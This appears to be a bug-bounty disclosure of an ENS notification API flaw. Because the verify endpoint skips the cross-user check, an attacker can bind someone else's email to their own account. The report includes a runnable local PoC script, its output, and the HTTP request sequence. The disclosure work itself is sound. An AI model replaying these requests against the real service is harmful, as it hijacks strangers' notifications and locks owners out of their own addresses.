93031 w a low missing cross user authorization on the email channel verify endpoint lets an attacker bind any third party s email to their own ens account disabling that user s own notifications
Submitted on Sep 14th 2026 at 01:30:28 UTC by @deltabear for Audit Competition | ENS
- Report ID: #93031
- Report Type: Websites & Apps
- Report severity: Low
- Target: https://github.com/immunefi-team/audit-comp-ens/tree/audit-comp-ready/workers
- Impacts:
- Changing non-sensitive details of other users (including modifying browser local storage) without already-connected wallet interaction and with up to one click of user interaction, such as: Enabling/disabling notifications
Description
Brief/Intro
An attacker with an ordinary ENS wallet posts any third party's email address to the attacker's own notification settings. The API worker runs its "already linked to another account" check when a channel is added and never when it is verified, so the address is accepted onto the attacker's account. ENS then sends that third party a genuine verification mail from noreply@ens.dev, and one click on its Verify Email Address button marks the attacker's row verified. ENS notification mail for the attacker's account is delivered to that person's mailbox from then on, and that person is refused when they add their own address to their own ENS account. The request that flips the row carries no authentication and no wallet signature.
Vulnerability Details
POST /notifications/channels/email takes the account from the JWT and the address from the request body (email.ts:29-37). The body schema is one RFC-valid string (email.ts:19-21). Nothing on this path asks the caller to prove the mailbox is theirs.
The cross-user check is email.ts:59-72. Its where-clause has three terms and the third is eq(TABLE.userChannels.status, 'verified') at :63, so it matches only rows that are already verified. A row holding someone else's address and still pending is invisible to it. The storage layer agrees: the unique constraint is (user_id, channel, target) (schema/notifications.ts:74-78), so two accounts hold the same address at the same time.
The row is written with the caller's user_id and status: 'pending' (email.ts:75-82), a 16 byte token is minted (email.ts:104-118, helpers.ts:173-177), and the mail goes out: from EMAIL_FROM_ADDRESS, which is noreply@ens.dev (wrangler.jsonc:98), to the address in the request body, carrying ${managerAppUrl}/notifications/channels/email/verify?token= against MANAGER_APP_URL, which is https://app.ens.dev (verification.ts:16, wrangler.jsonc:100). The attacker's 200 returns the channel id and the expiry. It does not return the token.
POST /notifications/channels/email/verify is email.ts:172-176. Its middleware chain is vValidator and injectDb. requireAuth is not on it, and the Manager's button posts the token with no Authorization header (queries/channels.ts:177-190).
The handler loads the verification row by token, purpose and expiry (email.ts:179-188), then writes status: 'verified' on the channel id that row names (email.ts:195-201). The otherUserChannel condition from :59-72 is not repeated here. The row is not required to still be pending. The requester is not required to own it. Holding the token is read as proof of two things, mailbox control and account ownership, and it establishes the first.
A verified row is a live delivery target. services/notifications/create.ts:115-122 selects an account's channels on user_id and status = 'verified' and queues a notification_deliveries row and an EMAIL_QUEUE job for each one. The attacker's ENS notifications arrive in the third party's inbox.
The same guard then fires against the address's owner. Their POST /notifications/channels/email finds a verified row on a different user_id and returns 400 This email address is already linked to another account (email.ts:67-72).
They have nothing to look at and nothing to press. GET /notifications/channels filters on eq(TABLE.userChannels.user_id, userId) (channels/index.ts:46), so the row is absent from their settings page, and DELETE /notifications/channels/:id filters on and(eq(id), eq(user_id)) ($id.ts:66-70), so no route removes another account's channel. Their SAVE PREFERENCES button stays greyed under "Verify at least one contact method to save preferences", so no notification preference of theirs saves through email (browser-evidence/04-victim-locked-out-full.png).
POST /notifications/channels/:id/resend ($id.ts:146-170) checks that the caller owns the channel, that it is pending and that it is an email channel. It does not check the cross-user condition, so the attacker puts a fresh token in that mailbox at 3 sends per hour per address (email-verification-rate-limit.ts:3-4). The click window is wider than the token's 24 hours.
Vulnerable source code
1. The cross-user check matches only verified rows @ workers/api-worker/src/app/routes/notifications/channels/email.ts:59-72
const otherUserChannel = await c.var.db.query.userChannels.findFirst({
where: and(
eq(TABLE.userChannels.channel, 'email'),
eq(TABLE.userChannels.target, email),
eq(TABLE.userChannels.status, 'verified'),
),
})
if (otherUserChannel && otherUserChannel.user_id !== userId) {
return c.json(
{ error: 'This email address is already linked to another account' },
400,
)
}
2. Two accounts hold the same address at the storage layer @ workers/api-worker/src/core/database/schema/notifications.ts:74-78
unique('user_channel_unique').on(
table.user_id,
table.channel,
table.target,
),
3. The row lands on the caller's account @ workers/api-worker/src/app/routes/notifications/channels/email.ts:75-82
const channel = await c.var.db
.insert(TABLE.userChannels)
.values({
user_id: userId,
channel: 'email',
status: 'pending',
target: email,
})
4. ENS mails the genuine link to the address in the request body @ workers/api-worker/src/services/email/verification.ts:16,25-26
const verificationUrl = `${managerAppUrl}/notifications/channels/email/verify?token=${encodeURIComponent(verificationToken)}`
from: { email: fromEmail },
subject: 'Verify your email address - ENS Notifications',
5. The verify route has no requireAuth @ workers/api-worker/src/app/routes/notifications/channels/email.ts:172-176
.post(
'/verify',
vValidator('json', verifyEmailChannelBodySchema),
injectDb,
async (c) => {
The add route on the same file, at :29-33, is .post('/', ...requireAuth, injectDb, vValidator(...).
6. The verify handler re-checks nothing @ workers/api-worker/src/app/routes/notifications/channels/email.ts:179-201
const verification = await c.var.db.query.channelVerifications.findFirst({
where: and(
eq(TABLE.channelVerifications.token, token),
eq(TABLE.channelVerifications.purpose, 'verify'),
gt(TABLE.channelVerifications.expires_at, new Date()),
),
with: {
channel: true,
},
})
await c.var.db
.update(TABLE.userChannels)
.set({
status: 'verified',
verified_at: new Date(),
})
.where(eq(TABLE.userChannels.id, verification.channel_id))
7. A verified row is a delivery target @ workers/api-worker/src/services/notifications/create.ts:115-122
// Get user's verified channels
const channels = yield* intoDbResult(
ctx.db.query.userChannels.findMany({
where: and(
eq(TABLE.userChannels.user_id, ctx.userId),
eq(TABLE.userChannels.status, 'verified'),
),
}),
)
8. The address's owner sees nothing and removes nothing @ workers/api-worker/src/app/routes/notifications/channels/index.ts:46 and workers/api-worker/src/app/routes/notifications/channels/$id.ts:66-70
where: eq(TABLE.userChannels.user_id, userId),
where: and(
eq(TABLE.userChannels.id, channelId),
eq(TABLE.userChannels.user_id, userId),
),
Impact Details
- ENS notification mail is enabled to a mailbox on a stranger's say-so, and that mailbox's owner is blocked from enabling their own. This is the program's impact row "Changing non-sensitive details of other users (including modifying browser local storage) without already-connected wallet interaction and with up to one click of user interaction, such as: Enabling/disabling notifications". The PoC produces both halves against one address: one
notification_deliveriesrow and oneEMAIL_QUEUEjob for the attacker's account, both addressed tovictim@example.com, and400 This email address is already linked to another accountwhen that address's owner adds it to their own account. - The click is on a genuine ENS mail and a genuine ENS page. From
noreply@ens.dev, subject "Verify your email address - ENS Notifications", link onhttps://app.ens.dev, landing on the Manager's own verify route. The attacker's whole input is the string in aPOSTbody. - The clicker signs nothing and connects nothing.
email.ts:172-176carries norequireAuth, so the request that flips the row goes out with no Authorization header and no wallet interaction of any kind. - Both wallets are ordinary. The PoC's two accounts log in through the target's own SIWE route with real secp256k1 signatures. No role, no allowlist, no privileged address.
- The page names no account, no wallet and no address. The verify card is a mail glyph, "Verify Your Email", "Click the button below to verify your email address and start receiving notifications." and one blue button (
browser-evidence/01-verify-page-before-click-card.png). The click drops the clicker on the ENS home page with a green "Email verified successfully" toast (02-after-one-click-full.png). - The address's owner has no in-app view of it and no in-app way out.
GET /notifications/channelsis caller-scoped (channels/index.ts:46) so their settings page shows nothing, the red toast names no account, andDELETE /notifications/channels/:idis caller-scoped too ($id.ts:66-70). Their SAVE PREFERENCES button stays greyed under "Verify at least one contact method to save preferences" (04-victim-locked-out-full.png). - The attacker holds the click window open.
$id.ts:146-170checks ownership,pendingand channel type on resend, and not the cross-user condition, so a fresh 24 hour token goes into that mailbox at 3 per hour (email-verification-rate-limit.ts:3-4) for as long as the attacker keeps sending. - This is revocable but in a hidden and uncomfortable way - using the "report as spam" through email
- This is scalable - a single attacker address can scale to many victims for free.
References
The defect
workers/api-worker/src/app/routes/notifications/channels/email.ts:59-72- the cross-user check, matchingstatus = 'verified'onlyworkers/api-worker/src/app/routes/notifications/channels/email.ts:63- the term that makes apendingrow on another party's address legalworkers/api-worker/src/app/routes/notifications/channels/email.ts:172-176- the verify route,vValidatorandinjectDb, norequireAuthworkers/api-worker/src/app/routes/notifications/channels/email.ts:179-201- the handler: token, purpose, expiry, thenstatus: 'verified'by channel idworkers/api-worker/src/core/database/schema/notifications.ts:74-78-unique('user_channel_unique')on(user_id, channel, target)
The write and the mail
workers/api-worker/src/app/routes/notifications/channels/email.ts:29-37-requireAuth,user_idfrom the JWT, address from the bodyworkers/api-worker/src/app/routes/notifications/channels/email.ts:19-21- the body schema, one RFC-valid stringworkers/api-worker/src/app/routes/notifications/channels/email.ts:75-82- thependingrow on the caller'suser_idworkers/api-worker/src/app/routes/notifications/channels/email.ts:104-118- the verification row and its tokenworkers/api-worker/src/services/notifications/helpers.ts:173-177-generateToken, 16 bytes fromcrypto.getRandomValuesworkers/api-worker/src/services/email/verification.ts:16,25-26- the link, the from address, the subjectworkers/api-worker/wrangler.jsonc:98,100-EMAIL_FROM_ADDRESSisnoreply@ens.dev,MANAGER_APP_URLishttps://app.ens.dev
The consumer
workers/api-worker/src/services/notifications/create.ts:115-122- verified channels of one account become deliveriesworkers/api-worker/src/services/notifications/create.ts:308-313- the same select in the batch pathworkers/api-worker/src/queues/event-ingestion.ts:279-284- the same select in the cron fan-out
The lockout, and the absence of a way out
workers/api-worker/src/app/routes/notifications/channels/index.ts:46-GET /channelsis caller-scopedworkers/api-worker/src/app/routes/notifications/channels/$id.ts:66-70-DELETE /channels/:idis caller-scopedworkers/api-worker/src/app/routes/notifications/channels/$id.ts:146-170-/resendchecks ownership,pendingand channel type, not the cross-user conditionworkers/api-worker/src/services/notifications/email-verification-rate-limit.ts:3-4- 3 sends per hour per address
The client
apps/manager/src/features/notifications/data/queries/channels.ts:177-190- the verify mutation,{ json: { token } }, no Authorization headerapps/manager/src/routes/notifications/channels/email/verify.tsx:218-225- the Verify Email Address button
Proof of Concept
Proof of Concept
One file, one command. It runs the target's real Hono app with its real middleware, logs two ordinary wallets in over the target's real SIWE route, and reads every row back off PostgreSQL 17 after the target wrote it.
node poc.mjs
ENS_REPO defaults to ../../../ens-apps; set it to point the PoC at a checkout elsewhere. On first run the script writes a package.json to a temp dir, installs three pinned deps there and re-execs itself, so nothing is installed by hand. It exits non-zero if any assertion fails.
poc.mjs
#!/usr/bin/env node
//
// ENS PoC: workers/api-worker checks "already linked to another account" when an
// email channel is ADDED and never when it is VERIFIED. An attacker enrols any
// third party's address on the attacker's own ENS account. The address owner
// gets a genuine ENS verification mail and clicks it. ENS notification mail for
// the attacker's account is then delivered to that mailbox, and the address
// owner is refused when they add the same address to their own account.
//
// node poc.mjs (ENS_REPO defaults to ../../../ens-apps)
//
// Self-contained. On first run it writes a package.json to a temp dir, installs
// pinned deps there and re-execs itself.
//
// The target decides every outcome. src/app/index.ts is the real Hono app with
// its real middleware, /auth/login runs the real SIWE verifier, and every row
// printed below was written by target code onto PostgreSQL 17 (PGlite/WASM).
// Two things are intercepted: SendGrid egress, so the mail body can be read
// verbatim, and the Neon HTTP-SQL transport that core/database/index.ts:9-15
// already routes to a local proxy.
import { spawnSync } from 'node:child_process'
import { copyFileSync, existsSync, mkdirSync, readFileSync, readdirSync, writeFileSync } from 'node:fs'
import { createServer } from 'node:http'
import os from 'node:os'
import path from 'node:path'
import { fileURLToPath, pathToFileURL } from 'node:url'
const HERE = path.dirname(fileURLToPath(import.meta.url))
const REPO = process.env.ENS_REPO ?? path.resolve(HERE, '../../../ens-apps')
const WORKER = path.join(REPO, 'workers', 'api-worker')
const WORK = process.env.POC_WORKDIR ?? path.join(os.tmpdir(), 'ens-poc-email-channel')
const VICTIM_EMAIL = 'victim@example.com'
const ATTACKER_PK = '0x' + '11'.repeat(32)
const VICTIM_PK = '0x' + '22'.repeat(32)
const PKG = `{
"name": "ens-poc-email-channel",
"private": true,
"type": "module",
"dependencies": {
"@electric-sql/pglite": "0.3.16",
"viem": "2.52.2"
},
"devDependencies": { "tsx": "4.23.13" }
}
`
// ============================================================== bootstrap
if (process.env.ENS_POC_CHILD !== '1') {
const line = '='.repeat(78)
console.log(line)
console.log(" ENS PoC: an attacker binds a third party's email address to the")
console.log(" attacker's ENS account, with one click by that third party")
console.log(` repo: ${REPO}`)
console.log(` build: ${WORK}`)
console.log(line)
if (!existsSync(path.join(WORKER, 'src', 'app', 'index.ts'))) {
console.error(`\nERROR: ENS checkout not found at ${REPO}. Set ENS_REPO.`)
process.exit(2)
}
mkdirSync(WORK, { recursive: true })
writeFileSync(path.join(WORK, 'package.json'), PKG)
copyFileSync(fileURLToPath(import.meta.url), path.join(WORK, 'poc.mjs'))
if (!existsSync(path.join(WORK, 'node_modules', 'tsx', 'package.json'))) {
console.log('\nInstalling pinned deps (pglite 0.3.16, viem 2.52.2, tsx 4.23.13)...')
const r = spawnSync('npm', ['install', '--silent', '--no-audit', '--no-fund'],
{ cwd: WORK, stdio: 'inherit', shell: true })
if (r.status !== 0) process.exit(r.status ?? 1)
}
const r = spawnSync(process.execPath, ['--import', 'tsx', 'poc.mjs'],
{ cwd: WORK, stdio: 'inherit',
env: { ...process.env, ENS_POC_CHILD: '1', ENS_REPO: REPO, NODE_NO_WARNINGS: '1' } })
process.exit(r.status ?? 1)
}
// ============================================================== output
const log = (s = '') => console.log(s)
const act = (n, title) => {
log('')
log('='.repeat(78))
log(` ACT ${n} ${title}`)
log('='.repeat(78))
}
const rows = (rs) => {
for (const r of rs) log(' ' + JSON.stringify(r))
if (rs.length === 0) log(' (no rows)')
}
class Failed extends Error {}
const assert = (cond, what) => {
log(` [assert] ${what}`)
if (!cond) throw new Failed(what)
}
// ====================================== the Neon HTTP-SQL proxy, over PostgreSQL
//
// core/database/index.ts:9-15 already sends every statement to
// http://db.localtest.me:4444/sql when the host is db.localtest.me, citing
// https://github.com/TimoWilhelm/local-neon-http-proxy. This is that proxy.
// Drizzle builds the SQL, PostgreSQL 17 executes it. No target rule lives here.
const { PGlite } = await import('@electric-sql/pglite')
const pad = (n, w = 2) => String(n).padStart(w, '0')
// The Neon client asks for raw text output and applies the pg text parsers
// itself, so each PGlite value goes back to its PostgreSQL text form.
const toText = (v) => {
if (v === null || v === undefined) return null
if (v instanceof Date)
return `${v.getUTCFullYear()}-${pad(v.getUTCMonth() + 1)}-${pad(v.getUTCDate())} ` +
`${pad(v.getUTCHours())}:${pad(v.getUTCMinutes())}:${pad(v.getUTCSeconds())}.` +
`${pad(v.getUTCMilliseconds(), 3)}+00`
if (typeof v === 'boolean') return v ? 't' : 'f'
if (v instanceof Uint8Array) return '\\x' + Buffer.from(v).toString('hex')
if (typeof v === 'object') return JSON.stringify(v)
return String(v)
}
const pg = await PGlite.create()
// pg_uuidv7 is a Neon extension and PGlite has no C extension loader, so the
// target's DEFAULT uuid_generate_v7() gets the same function in plpgsql.
await pg.exec([
'CREATE OR REPLACE FUNCTION uuid_generate_v7() RETURNS uuid AS $$',
'DECLARE unix_ts_ms bytea; uuid_bytes bytea;',
'BEGIN',
' unix_ts_ms = substring(int8send((extract(epoch from clock_timestamp())*1000)::bigint) from 3);',
' uuid_bytes = uuid_send(gen_random_uuid());',
' uuid_bytes = overlay(uuid_bytes placing unix_ts_ms from 1 for 6);',
" uuid_bytes = set_byte(uuid_bytes, 6, (b'0111' || get_byte(uuid_bytes,6)::bit(8) >> 4)::bit(8)::int);",
" RETURN encode(uuid_bytes,'hex')::uuid;",
'END $$ LANGUAGE plpgsql VOLATILE;',
].join('\n'))
const migrations = path.join(WORKER, 'drizzle')
for (const f of readdirSync(migrations).filter((n) => n.endsWith('.sql')).sort()) {
const src = readFileSync(path.join(migrations, f), 'utf8')
.replace(/CREATE EXTENSION IF NOT EXISTS pg_uuidv7;?/g, '')
for (const stmt of src.split('--> statement-breakpoint')) {
if (stmt.trim()) await pg.exec(stmt.trim())
}
}
const runSql = async ({ query, params }) => {
const res = await pg.query(query, params ?? [], { rowMode: 'array' })
return {
command: (query.trim().split(/\s+/)[0] || '').toUpperCase(),
rowCount: res.rows.length || res.affectedRows || 0,
rows: res.rows.map((r) => r.map(toText)),
fields: (res.fields ?? []).map((f) => ({
name: f.name, dataTypeID: f.dataTypeID, tableID: 0, columnID: 0,
dataTypeSize: -1, dataTypeModifier: -1, format: 'text',
})),
}
}
const server = createServer((req, res) => {
let body = ''
req.on('data', (c) => (body += c))
req.on('end', async () => {
try {
const j = JSON.parse(body || '{}')
const out = Array.isArray(j.queries)
? { results: await Promise.all(j.queries.map(runSql)) }
: await runSql(j)
res.writeHead(200, { 'content-type': 'application/json' })
res.end(JSON.stringify(out))
} catch (e) {
res.writeHead(400, { 'content-type': 'application/json' })
res.end(JSON.stringify({ message: e.message, code: e.code ?? '42000' }))
}
})
})
await new Promise((r) => server.listen(0, '127.0.0.1', r))
const SHIM_PORT = server.address().port
const sql = async (q, p = []) => (await pg.query(q, p)).rows
const emailRows = () =>
sql(`select u.address as account, c.target, c.status
from user_channels c join users u on u.id = c.user_id
where c.channel = 'email' order by u.address`)
// ====================================== SendGrid egress capture, worker bindings
const realFetch = globalThis.fetch
const mail = []
globalThis.fetch = async (input, init) => {
const url = typeof input === 'string' ? input : (input?.url ?? String(input))
if (url.startsWith('https://api.sendgrid.com')) {
mail.push(JSON.parse(init.body))
return new Response(null, { status: 202 })
}
if (url.startsWith('http://db.localtest.me:4444/sql'))
return realFetch(`http://127.0.0.1:${SHIM_PORT}/sql`, init)
return realFetch(input, init)
}
const queued = []
const kv = new Map()
const env = {
DATABASE_URL: 'postgres://u:p@db.localtest.me/neondb',
JWT_SECRET: 'poc-jwt-secret',
CHAIN: 'sepolia',
SEPOLIA_RPC_URL: 'http://127.0.0.1:1/never-called-for-an-eoa',
SENDGRID_API_KEY: 'SG.poc',
SENDGRID_WEBHOOK_VERIFICATION_KEY: '',
EMAIL_FROM_ADDRESS: 'noreply@ens.dev', // wrangler.jsonc vars
MANAGER_APP_URL: 'https://app.ens.dev', // wrangler.jsonc vars
SENDGRID_BROADCAST_LIST_ID: '', // wrangler.jsonc vars
BASE_URL: 'https://app-api.ens.dev',
EMAIL_QUEUE: { send: async (job) => { queued.push(job) } },
KV: {
get: async (k) => kv.get(k) ?? null,
put: async (k, v) => { kv.set(k, v) },
delete: async (k) => { kv.delete(k) },
},
}
const waits = []
const ctx = { waitUntil: (p) => waits.push(p), passThroughOnException: () => {} }
const load = (...p) => import(pathToFileURL(path.join(WORKER, 'src', ...p)).href)
const app = (await load('app', 'index.ts')).default
const call = async (route, opts = {}) => {
const { method = 'POST', body, token, origin } = opts
const headers = { 'content-type': 'application/json' }
if (token) headers.authorization = `Bearer ${token}`
if (origin) headers.origin = origin
const res = await app.request(
new Request(`https://app-api.ens.dev${route}`, {
method, headers,
body: body === undefined ? undefined : JSON.stringify(body),
}), undefined, env, ctx)
let json = null
try { json = await res.clone().json() } catch {}
return { status: res.status, json, res }
}
const { privateKeyToAccount } = await import('viem/accounts')
const { createSiweMessage } = await import('viem/siwe')
const login = async (pk) => {
const account = privateKeyToAccount(pk)
const { nonce } = (await call('/auth/nonce')).json
const message = createSiweMessage({
address: account.address, chainId: 11155111, domain: 'app.ens.dev',
nonce, uri: 'https://app.ens.dev', version: '1',
})
const signature = await account.signMessage({ message })
const out = await call('/auth/login', { body: { address: account.address, message, signature, nonce } })
return { status: out.status, token: out.json?.token ?? out.json?.jwt, address: account.address }
}
// ============================================================== the attack
const short = (a) => `${a.slice(0, 10)}...${a.slice(-8)}`
let code = 0
try {
act(0, 'Two ordinary accounts. Real SIWE, no privilege on either.')
const attacker = await login(ATTACKER_PK)
const victim = await login(VICTIM_PK)
log(` attacker /auth/nonce -> 200, /auth/login -> ${attacker.status} ${attacker.address}`)
log(` victim /auth/nonce -> 200, /auth/login -> ${victim.status} ${victim.address}`)
log(` the victim is an ordinary ENS user who owns the mailbox ${VICTIM_EMAIL}`)
assert(attacker.status === 200 && victim.status === 200, 'both wallets hold a JWT')
act(1, "The attacker puts the VICTIM's address on the ATTACKER's account")
const add = await call('/notifications/channels/email', {
body: { email: VICTIM_EMAIL }, token: attacker.token, origin: 'https://evil.example',
})
log(` POST /notifications/channels/email {"email":"${VICTIM_EMAIL}"} [attacker JWT]`)
log(` -> ${add.status} ${JSON.stringify(add.json)}`)
log(` access-control-allow-origin: ${add.res.headers.get('access-control-allow-origin')} (app/index.ts:15, cors() with no options)`)
log(' user_channels:')
rows(await emailRows())
assert(add.status === 200, 'the add is accepted, nothing asks the attacker to prove the address')
const composed = mail.at(-1)
const link = composed.content[0].value.match(/https:\/\/\S+/)[0]
const token = new URL(link).searchParams.get('token')
log('')
log(' the message the target composed (SendGrid /v3/mail/send body, captured verbatim):')
log(` from : ${composed.from.email}`)
log(` to : ${composed.personalizations[0].to[0].email}`)
log(` subject : ${composed.subject}`)
log(` link : ${link}`)
assert(composed.personalizations[0].to[0].email === VICTIM_EMAIL,
"ENS mails the victim from noreply@ens.dev, on the attacker's instruction")
assert(!JSON.stringify(add.json).includes(token),
"the token reaches the victim's mailbox only, the attacker cannot self-verify")
act(2, 'The victim clicks "Verify Email Address"')
log(' The Manager button posts the token with no Authorization header')
log(' (queries/channels.ts:177-190). email.ts:172-176 has no requireAuth to want one:')
const ver = await call('/notifications/channels/email/verify', { body: { token } })
log(` POST /notifications/channels/email/verify -> ${ver.status} ${JSON.stringify(ver.json)}`)
log(' user_channels:')
const afterVerify = await emailRows()
rows(afterVerify)
assert(ver.status === 200, 'the flip is accepted from an anonymous request')
assert(afterVerify.length === 1 &&
afterVerify[0].account.toLowerCase() === attacker.address.toLowerCase() &&
afterVerify[0].status === 'verified',
"the verified row carries the victim's address and the attacker's user_id")
act(3, "ENS notification mail for the attacker's account goes to the victim's mailbox")
const { createNotification } = await load('services', 'notifications', 'create.ts')
const { getDatabase } = await load('core', 'database', 'index.ts')
const db = getDatabase(env)
const attackerUserId = (await sql('select id from users where lower(address) = lower($1)', [attacker.address]))[0].id
await pg.query(
`insert into user_notification_settings (user_id, owned_name_expiry, favourited_name_expiry, ens_labs_updates)
values ($1, true, true, true) on conflict (user_id) do update set owned_name_expiry = true`, [attackerUserId])
const notif = await createNotification({
env, db, userId: attackerUserId, kind: 'name-expiry',
payload: { name: 'attacker-owned.eth', expiryDate: Date.now() + 7 * 864e5, isOwner: true, watchReason: 'owned' },
idempotencyKey: 'poc-notification-1',
})
log(` createNotification({ userId: <attacker> }) -> ${notif.isOk() ? 'ok' : 'ERR ' + JSON.stringify(notif.error)}`)
log(' notification_deliveries the target wrote:')
const deliveries = await sql('select channel, target, status from notification_deliveries')
rows(deliveries)
log(` EMAIL_QUEUE jobs the target enqueued: ${queued.length}`)
assert(deliveries.length === 1 && deliveries[0].target === VICTIM_EMAIL && queued.length === 1,
"create.ts:116-121 routes the attacker's notification to the victim's mailbox")
act(4, 'The address owner is locked out of their own address')
const vAdd = await call('/notifications/channels/email', { body: { email: VICTIM_EMAIL }, token: victim.token })
log(` POST /notifications/channels/email {"email":"${VICTIM_EMAIL}"} [victim JWT]`)
log(` -> ${vAdd.status} ${JSON.stringify(vAdd.json)}`)
const vList = await call('/notifications/channels', { method: 'GET', token: victim.token })
log(` GET /notifications/channels [victim JWT] -> ${vList.status} ${JSON.stringify(vList.json)}`)
log(' user_channels:')
const final = await emailRows()
rows(final)
assert(vAdd.status === 400 && vAdd.json.error === 'This email address is already linked to another account',
"email.ts:59-72 refuses the address's own owner")
assert(Array.isArray(vList.json) && vList.json.length === 0,
"channels/index.ts:46 is caller-scoped, so the victim's settings page never names the row")
assert(final.length === 1, "the victim has no email channel, and no route removes the attacker's")
await Promise.allSettled(waits)
log('')
log('-'.repeat(78))
log(' LEDGER (user_channels and notification_deliveries, read back from PostgreSQL)')
log('-'.repeat(78))
log(' account before after')
log(` VICTIM ${short(victim.address)} no channel 400, refused their own address`)
log(` ATTACKER ${short(attacker.address)} no channel ${VICTIM_EMAIL}, verified`)
log('-'.repeat(78))
log('')
log(` ${VICTIM_EMAIL} is enrolled on the attacker's ENS account and receives that`)
log(" account's notification mail. The address's owner is refused when they add the")
log(' same address to their own ENS account, and their settings page shows nothing.')
log('')
log(' PoC PASSED, every assertion held.')
} catch (e) {
code = 1
log('')
log(e instanceof Failed ? ` PoC FAILED: ${e.message}` : ` PoC ERROR: ${e.stack}`)
}
server.close()
await pg.close()
process.exit(code)
Output
==============================================================================
ENS PoC: an attacker binds a third party's email address to the
attacker's ENS account, with one click by that third party
repo: C:/ens
build: C:\Users\dmill\AppData\Local\Temp\ens-poc-email-channel
==============================================================================
==============================================================================
ACT 0 Two ordinary accounts. Real SIWE, no privilege on either.
==============================================================================
{"timestamp":"2026-09-05T12:21:28.074Z","level":"trace","message":"SIWE user resolved","userId":"01a07184-4185-07b1-a9a0-50e63a8fa99b","address":"0x19E7E376E7C213B7E7e7e46cc70A5dD086DAff2A"}
{"timestamp":"2026-09-05T12:21:29.156Z","level":"trace","message":"SIWE user resolved","userId":"01a07184-45c3-077d-aebc-4b54cd261dac","address":"0x1563915e194D8CfBA1943570603F7606A3115508"}
attacker /auth/nonce -> 200, /auth/login -> 200 0x19E7E376E7C213B7E7e7e46cc70A5dD086DAff2A
victim /auth/nonce -> 200, /auth/login -> 200 0x1563915e194D8CfBA1943570603F7606A3115508
the victim is an ordinary ENS user who owns the mailbox victim@example.com
[assert] both wallets hold a JWT
==============================================================================
ACT 1 The attacker puts the VICTIM's address on the ATTACKER's account
==============================================================================
{"timestamp":"2026-09-05T12:21:29.178Z","level":"info","message":"Verification email sent","to":"victim@example.com","verificationUrl":"https://app.ens.dev/notifications/channels/email/verify?token=dea37167bb95a435dac4ecf1aa62db3a"}
{"timestamp":"2026-09-05T12:21:29.178Z","level":"info","message":"Verification email sent","channelId":"01a07184-45d2-0764-aefe-2416254e8aa0","email":"victim@example.com"}
POST /notifications/channels/email {"email":"victim@example.com"} [attacker JWT]
-> 200 {"message":"Verification email sent","expires_at":"2026-09-06T12:21:29.174Z","channelId":"01a07184-45d2-0764-aefe-2416254e8aa0"}
access-control-allow-origin: * (app/index.ts:15, cors() with no options)
user_channels:
{"account":"0x19e7e376e7c213b7e7e7e46cc70a5dd086daff2a","target":"victim@example.com","status":"pending"}
[assert] the add is accepted, nothing asks the attacker to prove the address
the message the target composed (SendGrid /v3/mail/send body, captured verbatim):
from : noreply@ens.dev
to : victim@example.com
subject : Verify your email address - ENS Notifications
link : https://app.ens.dev/notifications/channels/email/verify?token=dea37167bb95a435dac4ecf1aa62db3a
[assert] ENS mails the victim from noreply@ens.dev, on the attacker's instruction
[assert] the token reaches the victim's mailbox only, the attacker cannot self-verify
==============================================================================
ACT 2 The victim clicks "Verify Email Address"
==============================================================================
The Manager button posts the token with no Authorization header
(queries/channels.ts:177-190). email.ts:172-176 has no requireAuth to want one:
{"timestamp":"2026-09-05T12:21:29.193Z","level":"info","message":"Welcome email sent","to":"victim@example.com"}
{"timestamp":"2026-09-05T12:21:29.193Z","level":"info","message":"Welcome email sent","channelId":"01a07184-45d2-0764-aefe-2416254e8aa0","email":"victim@example.com"}
POST /notifications/channels/email/verify -> 200 {"message":"Email verified successfully"}
user_channels:
{"account":"0x19e7e376e7c213b7e7e7e46cc70a5dd086daff2a","target":"victim@example.com","status":"verified"}
[assert] the flip is accepted from an anonymous request
[assert] the verified row carries the victim's address and the attacker's user_id
==============================================================================
ACT 3 ENS notification mail for the attacker's account goes to the victim's mailbox
==============================================================================
{"timestamp":"2026-09-05T12:21:29.212Z","level":"info","message":"Delivery job queued","deliveryId":"01a07184-45fb-072c-bbab-38a75cc824d7","channel":"email","kind":"name-expiry"}
createNotification({ userId: <attacker> }) -> ok
notification_deliveries the target wrote:
{"channel":"email","target":"victim@example.com","status":"queued"}
EMAIL_QUEUE jobs the target enqueued: 1
[assert] create.ts:116-121 routes the attacker's notification to the victim's mailbox
==============================================================================
ACT 4 The address owner is locked out of their own address
==============================================================================
POST /notifications/channels/email {"email":"victim@example.com"} [victim JWT]
-> 400 {"error":"This email address is already linked to another account"}
GET /notifications/channels [victim JWT] -> 200 []
user_channels:
{"account":"0x19e7e376e7c213b7e7e7e46cc70a5dd086daff2a","target":"victim@example.com","status":"verified"}
[assert] email.ts:59-72 refuses the address's own owner
[assert] channels/index.ts:46 is caller-scoped, so the victim's settings page never names the row
[assert] the victim has no email channel, and no route removes the attacker's
------------------------------------------------------------------------------
LEDGER (user_channels and notification_deliveries, read back from PostgreSQL)
------------------------------------------------------------------------------
account before after
VICTIM 0x1563915e...A3115508 no channel 400, refused their own address
ATTACKER 0x19E7E376...86DAff2A no channel victim@example.com, verified
------------------------------------------------------------------------------
victim@example.com is enrolled on the attacker's ENS account and receives that
account's notification mail. The address's owner is refused when they add the
same address to their own ENS account, and their settings page shows nothing.
PoC PASSED, every assertion held.
victim@example.com went from holding no ENS channel at all to being a verified channel on the attacker's account with one queued ENS delivery addressed to it, while its own owner was refused that address on their own account with a 400.
Attack code
# 1. Any wallet. The target's own SIWE login, no privilege of any kind.
POST /auth/nonce
POST /auth/login
{"address": "<attacker>", "message": "<siwe>", "signature": "<secp256k1>", "nonce": "<nonce>"}
# 2. Put someone else's address on the attacker's account. email.ts:59-72 finds no
# verified row for it, so the cross-user check passes.
POST /notifications/channels/email
Authorization: Bearer <attacker JWT>
{"email": "victim@example.com"}
-> 200 {"message":"Verification email sent","channelId":"01a07184-45d2-0764-aefe-2416254e8aa0"}
# 3. ENS composes and sends the mail itself, from noreply@ens.dev to victim@example.com:
# Verify your email address - ENS Notifications
# https://app.ens.dev/notifications/channels/email/verify?token=dea37167bb95a435dac4ecf1aa62db3a
# The attacker never sees that token.
# 4. The address's owner opens the ENS mail and presses "Verify Email Address".
# The Manager sends this. No Authorization header, no wallet, no signature.
POST /notifications/channels/email/verify
{"token": "dea37167bb95a435dac4ecf1aa62db3a"}
-> 200 {"message":"Email verified successfully"}
# user_channels: { attacker, victim@example.com, verified }
# 5. ENS notifications for the attacker's account go to that mailbox, and the
# address's owner is refused their own address on their own account.
POST /notifications/channels/email
Authorization: Bearer <victim JWT>
{"email": "victim@example.com"}
-> 400 {"error":"This email address is already linked to another account"}
